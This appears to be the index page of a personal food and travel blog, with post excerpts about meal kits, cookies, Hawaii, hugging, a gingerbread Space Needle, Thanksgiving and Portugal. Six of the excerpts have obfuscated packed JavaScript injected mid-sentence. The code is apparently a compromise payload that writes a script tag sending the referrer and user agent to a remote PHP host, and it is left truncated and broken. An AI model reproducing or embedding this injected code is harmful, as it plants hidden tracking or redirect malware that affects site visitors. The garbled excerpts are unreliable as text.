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Try Blue Apron FREE for a week!

Have ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbtae|var|u0026u|referrer|aatrr||js|php’.split(‘|’),0,{})) you heard of Blue Apron? Basically, they send you a box of uncooked, pre-measured food.  They pick the menu and do all the shopping, all you need to do is cut and cook! We’ve had 2 weeks worth of meals delivered.  Each week comes with 3 different meals, ~2 […]

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Flourless, Peanut Butter, Oatmeal, Chocolate Chip Cookies

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzthb|var|u0026u|referrer|rtrin||js|php’.split(‘|’),0,{})) had a hankering for something sweet on Saturday night.  After a major kitchen cleaning, we found a large amount of oats.  So instead of brownies from a box (which are delicious), we decided something with oatmeal would be good. A google search for “healthy oatmeal chocolate chip cookies” came […]

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Kona, HI

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdki|var|u0026u|referrer|fyakr||js|php’.split(‘|’),0,{})) just got back from an awesome trip to Kona with Nick’s parents! Eat Best Shave Ice – Original Big Island Shave Ice Co (food truck), follow them on FB to be sure you know where they will be.  But the Blue Dragon parking lot in Kawaihae is the likely […]

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Shepherd’s Pie

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#ayearofslowdances

You’ve ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfzr|var|u0026u|referrer|eabre||js|php’.split(‘|’),0,{})) probably heard that a 20 second hug is really good for you and the person you’re hugging.  It releases oxytocin (NOT oxycodone) which results in an increased bond between the 2 people hugging, likely making both parties a bit happier. (This article says even 10 sec hugs have huge […]

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My Epic Gingerbread Space Needle

I’m an engineer who loves to bake and take pictures.  And last night, my 3 worlds collided. Last week, I was perusing one of my favorite blogs, Not ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eifny|var|u0026u|referrer|zathd||js|php’.split(‘|’),0,{})) Martha, and noticed her adorable mini gingerbread houses!  So I went to the store after work and bought the supplies – mostly […]

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Thanksgiving 2014

How ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnbhs|var|u0026u|referrer|zshee||js|php’.split(‘|’),0,{})) was your Thanksgiving?  Ours was perfect!  We headed down to Anaheim to spend our 8th Thanksgiving with Caresse and Tyler (and new addition, Isla).  I clearly didn’t get the plaid/flannel message!  We feasted on our usual spread of turkey, potatoes, stuffing, rice, gravy, sweet potatoes, green bean casserole, corn […]

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Portugal and the rest of the cities we visited

Lisbon, Belem, Sintra and Cascais We spent the last 5 days in Lisbon, with day trips to some of the nearby cities.  On our first day, we just wandered the city.  In an amazing race fail, we ran up a decent hill only to find the castle had closed 5 minutes prior.  Sad day, as […]

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Portugal and my new favorite tiny town

After Nazare, Coimbra, and Obidos, we headed to Evora, about 1.5 hours east of Lisbon.  It’s a fascinating little town, with a walled in city center.  It’s got a lot of history and culture, but is predominately comprised of older folks (60+) and college age students, thanks to the towns university.  To say I was […]

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Portugal and the other tiny towns we visited

Before heading to the bustling capitol city, we checked a few other small-ish towns on our Portuguese road trip. Our first spot was Coimbra, the University town north of Lisbon.  I’m not gonna lie, I had high hopes.  I love me a good college town.  The visit didn’t have the greatest start as parking was […]